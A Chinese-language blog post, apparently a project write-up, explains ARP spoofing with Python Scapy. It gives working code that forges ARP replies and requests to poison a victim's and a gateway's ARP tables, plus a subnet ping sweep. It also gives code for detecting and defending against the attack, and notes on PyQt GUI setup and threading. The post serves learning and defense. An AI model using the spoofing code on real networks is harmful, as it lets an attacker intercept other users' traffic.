arp_spoof

一、原理

1.攻击

(1)欺骗受害者

向受害者发包,欺骗受害者本机为网关,使得受害者的ARP表中本机的MAC地址为网关的MAC地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
def build_rep(target_ip, gateway_ip):
global self_mac
target_mac = getmacbyip(target_ip)
#print(gateway_ip)
if target_ip is None:
print("[-] Error: Could not resolve targets MAC address")
sys.exit(1)
# Ether对应包的src和dst ARP只会修改其中的ARP包,告诉dst,这个包的mac是hwsrc,ip是psrc,发给hwdst/pdst
pkt = Ether(src=self_mac, dst=target_mac) / ARP(hwsrc=self_mac, psrc=gateway_ip, hwdst=target_mac, pdst=target_ip,
op=2)
# 本机mac 受欺骗的主机mac 本机mac 网关的ip地址 被攻击人的mac 被攻击人的ip OP值是表示请求还是回应 1:请求 2:回应
# 那么这种模式下即本机发往受害者,告诉受害者网关(psrc)的mac地址是本机(self_mac),下回依据IP查ARP表就会把应该发给网关的包通过mac发包发给本机
return pkt

(2)欺骗网关

向网关发包,欺骗网关受害者为本机,使得网关的ARP表中受害者的MAC地址为本机的MAC地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def build_req(target_ip, gateway_ip):
global self_mac
target_mac = getmacbyip(target_ip)
gateway_mac = getmacbyip(gateway_ip)
if target_mac is None:
print("[-] Error: Could not resolve targets MAC address")
sys.exit(1)

#Ether对应包的src和dst ARP只会修改其中的ARP包,告诉dst,这个包的mac是hwsrc,ip是psrc,发给hwdst/pdst
pkt = Ether(src=self_mac, dst=gateway_mac) / ARP(hwsrc=self_mac, psrc=target_ip, hwdst=gateway_mac, pdst = gateway_ip,
op=1)
# 本机mac 网关mac 本机mac 受欺骗的主机mac 网关mac 网关的ip地址 OP值是表示请求还是回应 1:请求 2:回应
# 那么这种模式下即本机发往网关,告诉网关受害者(psrc)的mac地址是本机(self_mac),下回依据IP查ARP表就会把应该发给受害者的包通过mac发包发给本机
return pkt

(3)欺骗所有人

向广播地址发包,使得所有人的ARP都被修改,从而欺骗所有人,这个没有实现,感觉动静太大,没啥用

2.防御

(1)检测

①rep模式

这种模式本机的arp表中的MAC地址会改变,linux下由于输入arp加载比较慢,估计后台会进行ping,所以使用ip neigh来获取,从中找到是否存在相同的MAC地址,从而判断是否被该模式攻击,即转化为set看长度是否相同

1
2
3
4
#detect_rep
if(len(ip_mac_dictionary) != len(set(ip_mac_dictionary.values()))):
print("rep_get")
rep_detect_flag = True

②req模式

这种模式下我们可以尝试arping网关,如果MAC地址没被修改,而arping网关不能通,那么就是网关被欺骗,依据此来进行检测

1
2
3
4
5
6
7
8
#detect_req
gateway_mac = getmacbyip(gateway_ip)
p = subprocess.Popen(["arping","-i",netD_name,"-c","1",gateway_mac], stdout=subprocess.PIPE)
for line in p.stdout.readlines():
line_splitby_space = line.decode("utf-8").strip().split(" ")
if("Timeout" in line_splitby_space):
req_detect_flag = True
break

(2)实际防御

①rep模式

直接将网关真实的MAC地址和对应IP进行静态绑定即可。获取网关真实MAC地址,可以使用getmacbyip函数,该函数会向局域网内广播,询问网关真实的MAC的地址,而攻击者那里肯定存在真实的MAC地址,所以基本一定能获得到真实的IP地址

image-20220307120520964

1
2
3
4
5
6
7
8
if(rep_detect_flag):
self.ui.defenseInfoText.appendPlainText("Defending against arp_rep attacks......")
build_rep_defense()
p = subprocess.Popen(["ip", "neigh"], stdout=subprocess.PIPE)
for line in p.stdout.readlines():
line_splitby_space = line.decode("utf-8").strip().split(" ")
if ("FAILED" not in line_splitby_space):
self.ui.defenseInfoText.appendPlainText('{:<30s}'.format(line_splitby_space[0]) + "\t" + line_splitby_space[4])

这里我直接修改所有的的IP_MAC为静态的

②req模式

由于是网关被欺骗了,所以我们也可以向网关发包,使其将我的IP和MAC真实写入ARP欺骗,但是攻击者可能会一直发包,所以我们也需要一直发包才能断续防御攻击,不过还是可能会丢不少包。

1
2
3
4
5
6
7
8
9
def build_req_defense():
global gateway_ip
global self_mac
self_ip = get_self_ip()
#self_mac = get_if_hwaddr(netD_name)
gateway_mac = getmacbyip(gateway_ip)
#Ether对应包的src和dst ARP只会修改其中的ARP包,告诉dst,这个包的mac是hwsrc,ip是psrc,发给hwdst/pdst
pkt = Ether(src=self_mac, dst=gateway_mac) / ARP(hwsrc=self_mac, psrc=self_ip, hwdst=gateway_mac, pdst = gateway_ip,op=1)
return pkt

如上设置包内容,告诉网关我才是真的。

或者有网关权限的,直接在网关的shell进行静态绑定。

二、pyQt界面

1.环境搭建

主要配合pycharm,先安装pyQt5,然后在对应的包里即可打开

1
2
pip3 install PyQt5
/home/hacker/.local/lib/python3.6/site-packages/qt5_applications/Qt/bin/designer

2.配合pycharm

主要设置一下即可

File->setting->Tools->External Tools->+一下工具

Qt_Designer

image-20220307112101403

直接点击即可加载

image-20220307112540614

UI转py

转完之后会比较舒服,因为在pycharm中可以提示相关的控件,但是直接load加载ui文件的话就没有提示。

image-20220307112150183

Arguments的命令参数为:

1
-m PyQt5.uic.pyuic $FileName$ -o $FileNameWithoutExtension$.py

目前好像py->ui没办法转回去

之后点击要转换的ui文件,然后对应的打开工具即可在当前文件夹下生成py文件

image-20220307112701929

对应就会生成window.py文件

3.界面启动

1
2
3
4
5
6
7
8
9
10
11
class MainWindow(QMainWindow):
def __init__(self):
super().__init__()
#导入ui
self.ui = Ui_MainWindow()

if __name__ == '__main__':
app = QApplication([])
myWindow = MainWindow()
myWindow.show()
sys.exit(app.exec_())

4.界面退出

一般界面都是多线程的,所以退出的时候一般需要加上一些东西将一些线程给关闭,安全退出,所以需要重写一下窗口关闭的closeEvent函数

1
2
3
4
5
def closeEvent(self, event):
for key in threads_flag_dictionary.keys():
threads_flag_dictionary[key].set()#相关线程终止flag设置
event.accept()
os._exit(0)

三、利用函数详解

1.发包函数

(1)Ether

主要就是使用Ether创建一个MAC数据帧头,即源MAC地址,要发往的MAC地址,这个不能更改,用来在局域网中设置发往的地方。

1
Ether(src=self_mac, dst=gateway_mac)

(2)ARP

这个就是用来伪造数据包中的ARP数据,可以随便改,目标主机接收到该数据包的时候,会判断是否和本机的ARP表是否相同,不同则会依据该ARP包来进行修改。

1
ARP(hwsrc=self_mac, psrc=target_ip, hwdst=gateway_mac, pdst = gateway_ip,op=1)

ARP欺骗主要就是修改hwsrc/psrc,使得目标主机的ARP表依据该hwsrc/psrc来对自己的ARP表进行写入。比如这里就是使得目标主机中的ARP表由原本正确的target_ip---target_MAC变为target_ip---self_mac

(3)实际发包

需要将Ether和ARP结合起来组成一个MAC帧pkt,然后就可以将该MAC帧发往网卡network driver

1
pkt = Ether(src=self_mac, dst=gateway_mac) / ARP(hwsrc=self_mac, psrc=target_ip, hwdst=gateway_mac, pdst = gateway_ip,op=1)

①send

工作在第三层网络层,发送IP数据包,包头需要是IP数据包头

1
send(IP(dst="192.168.1.107")/ICMP())

②sendp

工作在第二层链路层,发送MAC帧,包头需要是MAC帧头,即Ether

1
2
sendp(pkt, inter=2, iface=netD_name)
#这里pkt就是包,即Ether()/ARP()之类的

2.线程函数

使用pyQt线程函数,一般两种方法,比较喜欢用threading的

(1)线程启动

1
2
3
4
5
6
7
8
#设置终止信号,防止线程一直运行不停止
send_thread_defense_stop_flag = threading.Event()
#线程创建,对应self.send_pack函数,参数为args=(xxx,xxx,xxx)
send_thread = threading.Thread(target=self.send_pack, args=(pkt,send_thread_defense_stop_flag,"defense"))
#线程启动
send_thread.start()
#将终止信号添加进字典进行管理
threads_flag_dictionary['send_defense_thread'] = send_thread_defense_stop_flag

(2)线程阻塞

有时候需要线程阻塞,即完成该线程才进行下一步,那么就需要用到join函数

1
2
#用在send_thread.start()之后
send_thread.join()

(3)线程终止

即之前提到的设置对应的终止flag

1
2
3
4
5
6
#触发停止信号
threads_flag_dictionary['send_defense_thread'].set()

#send_pack函数中某些需要一直运行的代码块中
while (stop_flag.is_set()):
pass

3.其他功能性函数

(1)获取存活主机函数

由于ip neigh命令会从一个存活主机的缓冲区中获取相关的主机,但是实际上如果新加入一个主机,则不会显示出来,除非接收到该主机的包,所以我们需要主动去ping他们,看他们是否存活。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ip_prefix = '.'.join(gateway_ip.split('.')[:-1])
threads = []
for i in range(1, 256):
ip = '%s.%s' % (ip_prefix, i)
threads.append(threading.Thread(target=ping_ip, args={ip, }))
for i in threads:
i.start()
for i in threads:
i.join()

def ping_ip(ip_str):
cmd = ["ping", "-c","1", ip_str]
output = os.popen(" ".join(cmd)).readlines()
for line in output:
if str(line).upper().find("TTL") >= 0:
print("ip: %s 在线" % ip_str)

(2)获取本IP

1
2
3
4
5
def get_self_ip():
global netD_name
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
return socket.inet_ntoa(fcntl.ioctl(s.fileno(), 0x8915, struct.pack('256s', bytes(netD_name[:15],'utf-8')))[20:24])
self_ip = get_self_ip()

(3)从stdout获取输出

1
2
3
4
5
6
7
8
9
def get_conten_from_stdout(self,func):
sys.stdout = string_io = StringIO()
func()
sys.stdout = self._stdout
print_str = string_io.getvalue()
del string_io
return print_str

print_str = self.get_conten_from_stdout(pkt.show)